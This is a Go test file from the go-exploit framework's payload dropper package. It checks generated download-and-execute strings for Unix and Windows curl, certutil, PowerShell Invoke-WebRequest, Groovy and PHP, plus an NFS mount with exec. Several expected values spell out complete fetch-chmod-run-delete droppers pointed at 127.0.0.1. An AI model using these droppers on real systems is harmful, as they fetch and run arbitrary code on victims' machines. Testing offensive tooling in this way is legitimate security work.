package dropper_test

import (
	"strings"
	"testing"

	"github.com/vulncheck-oss/go-exploit/payload/dropper"
)

func TestLinuxCurlHTTPDownloadAndExecute(t *testing.T) {
	curlCommand := dropper.Unix.CurlHTTP("127.0.0.1", 1270, false, "helloworld")

	if !strings.HasPrefix(curlCommand, "curl -so") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "http://") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "chmod +x") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "rm -f") {
		t.Fatal(curlCommand)
	}

	t.Log(curlCommand)
}

func TestLinuxCurlHTTPSDownloadAndExecute(t *testing.T) {
	curlCommand := dropper.Unix.CurlHTTP("127.0.0.1", 1270, true, "helloworld")

	if !strings.HasPrefix(curlCommand, "curl -kso") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "https://") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "chmod +x") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "rm -f") {
		t.Fatal(curlCommand)
	}

	t.Log(curlCommand)
}

func TestWindowsCurlHTTPDownloadAndExecute(t *testing.T) {
	curlCommand := dropper.Windows.CurlHTTP("127.0.0.1", 1270, false, "helloworld")

	if !strings.HasPrefix(curlCommand, "curl.exe -so") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "http://") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "del /f") {
		t.Fatal(curlCommand)
	}

	t.Log(curlCommand)
}

func TestWindowsCurlHTTPSDownloadAndExecute(t *testing.T) {
	curlCommand := dropper.Windows.CurlHTTP("127.0.0.1", 1270, true, "helloworld")

	if !strings.HasPrefix(curlCommand, "curl.exe -kso") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "https://") {
		t.Fatal(curlCommand)
	}

	if !strings.Contains(curlCommand, "del /f") {
		t.Fatal(curlCommand)
	}

	t.Log(curlCommand)
}

func TestWindowsCertutilHTTPDownloadAndExecute(t *testing.T) {
	host := "127.0.0.1"
	port := 1270
	downloadFile := "helloworld"

	expected := []string{
		`certutil.exe -urlcache -split -f http://127.0.0.1:1270/helloworld %TEMP%\`,
		`.exe && %TEMP%\`,
		`.exe & del /f %TEMP%\`,
	}

	t.Run("http", func(t *testing.T) {
		comm := dropper.Windows.CertutilHTTP(host, port, false, downloadFile)

		for _, e := range expected {
			if !strings.Contains(comm, e) {
				t.Fatal(comm)
			}
		}

		t.Log(comm)
	})

	t.Run("https", func(t *testing.T) {
		comm := dropper.Windows.CertutilHTTP(host, port, true, downloadFile)

		for _, e := range expected {
			expected := strings.Replace(e, "http://", "https://", 1)
			if !strings.Contains(comm, expected) {
				t.Fatal(comm)
			}
		}

		t.Log(comm)
	})
}

func TestWindowsPowershellHTTPDownloadAndExecute(t *testing.T) {
	host := "127.0.0.1"
	port := 1270
	downloadFile := "helloworld"

	expected := []string{
		"powershell -c",
		`'Invoke-WebRequest -Uri http://127.0.0.1:1270/helloworld -OutFile "$([System.IO.Path]::GetTempPath())`,
		`.exe"; "$([System.IO.Path]::GetTempPath()`,
		`.exe"; Remove-Item "$([System.IO.Path]::GetTempPath())`,
	}

	t.Run("http", func(t *testing.T) {
		comm := dropper.Windows.PowershellHTTP(host, port, false, downloadFile)

		for _, e := range expected {
			if !strings.Contains(comm, e) {
				t.Fatal(comm)
			}
		}

		t.Log(comm)
	})

	t.Run("https", func(t *testing.T) {
		comm := dropper.Windows.PowershellHTTP(host, port, true, downloadFile)

		for _, e := range expected {
			expected := strings.Replace(e, "http://", "https://", 1)
			if !strings.Contains(comm, expected) {
				t.Fatal(comm)
			}
		}

		t.Log(comm)
	})
}

func TestGroovyHTTP(t *testing.T) {
	groovyPayload := dropper.Groovy.HTTP("127.0.0.1", 1270, "input", "output")
	expected := `def f = new File('output');f.withOutputStream{it << new URL('http://127.0.0.1:1270/input').openStream()};` +
		`f.setExecutable(true);def p = 'output'.execute();p.waitFor();f.delete();`
	if groovyPayload != expected {
		t.Fatal(groovyPayload)
	}
}

func TestPHPHTTP(t *testing.T) {
	phpPayload := dropper.PHP.HTTP("127.0.0.1", 1270, true, "filename")
	if strings.Contains(phpPayload, "context") == false {
		t.Fatal("Missing SSL logic")
	}
	phpPayload = dropper.PHP.HTTP("127.0.0.1", 1270, false, "filename")
	if strings.Contains(phpPayload, "context") {
		t.Fatal("Mysterious inclusion of SSL logic")
	}
}

func TestMountV3Only(t *testing.T) {
	mountPayload := dropper.Unix.Mountv3Only("127.0.0.1", "/tmp/nfsshare", "./dir")
	if mountPayload != "mount -o vers=3,nolock,exec,tcp -t nfs 127.0.0.1:/tmp/nfsshare ./dir" {
		t.Fatal("Unexpected Mountv3Only formatting")
	}
}
